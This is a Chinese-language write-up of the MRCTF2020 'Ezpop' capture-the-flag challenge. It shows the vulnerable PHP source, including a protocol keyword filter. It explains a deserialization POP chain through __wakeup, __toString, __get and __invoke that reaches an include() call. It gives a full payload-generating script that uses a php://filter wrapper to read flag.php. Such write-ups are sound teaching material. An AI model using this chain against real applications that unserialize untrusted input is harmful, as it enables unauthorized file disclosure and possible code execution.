MRCTF2020-Ezpop

MRCTF2020-Ezpop

打开网页,代码如下:

Welcome to index.php
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {
    protected  $var;
    public function append($value){
        include($value);
    }
    public function __invoke(){
        $this->append($this->var);
    }
}

class Show{
    public $source;
    public $str;
    public function __construct($file='index.php'){
        $this->source = $file;
        echo 'Welcome to '.$this->source."<br>";
    }
    public function __toString(){
        return $this->str->source;
    }

    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
    public function __construct(){
        $this->p = array();
    }

    public function __get($key){
        $function = $this->p;
        return $function();
    }
}

if(isset($_GET['pop'])){
    @unserialize($_GET['pop']);
}
else{
    $a=new Show;
    highlight_file(__FILE__);
} 

下面是本题一些魔术方法的介绍:

__construct 当一个对象创建时被调用,
__toString 当一个对象被当作一个字符串被调用。
__wakeup() 使用unserialize时触发
__get() 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() 当脚本尝试将对象调用为函数时触发。

首先观察敏感函数,在Modifier中发现敏感函数include(),这应该是一个可利用点。问题的关键点就算如何调用Modifier中的include()函数。可以看到里面有一个魔术方法:__invoke(),当脚本尝试将对象调用为函数时触发,那么问题就转化为如何通过构建pop链来触发这个函数。

Show类中 __ construct并没有什么用。但我们发现了一个敏感点, __ toString魔术方法。它的作用主要就是能echo一个实例化的类(如果这个类没有 __ toString(),则会报错),因为echo时会自动调用__toString()。那么我们看如何才能调用这个魔术方法呢?

我们发现show类中还有一个过滤:

preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)

preg_match()函数用到source,如果source是字符串,则直接拿来匹配。
如果source是一个类且这个类里有__ toString()方法,则会调用__ toString()。

所以我们应该使source为一个类来调用__ toString 方法。

source = new Show();

调用__ toString后会返回这个:

 return $this->str->source;

我们要考虑该如何利用这个。

如果令 $this->str = new Test(),Test()类中没有source,则会自动调用 __ get(),返回一个变量加括号,即函数 $p()。如果我们再让$p = new Modifier()。则相当于返回一个类函数,则会调用Modifier的 __invoke() ,用 $var读取flag.php即可.

payload:

<?php
class Modifier {
    protected  $var = 'php://filter/read=convert.base64-encode/resource=flag.php';
}

class Show{
    public $source;
    public $str;
    public function __toString(){
        return $this->str->source;
    }
public function __construct($file='index.php'){
    $this->str = new Test();
    }
    public function __wakeup(){
        if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {
            echo "hacker";
            $this->source = "index.php";
        }
    }
}

class Test{
    public $p;
}
$a = new Show();
$a->source = new Show();
$a->source->str->p = new Modifier();
echo urlencode(serialize($a));
?>

思考:为什么这里要用urlencode编码进行加密?

因为$var是protected 类型,序列化后要手动加一些字符才能通过。

贴一段代码:

在这里插入图片描述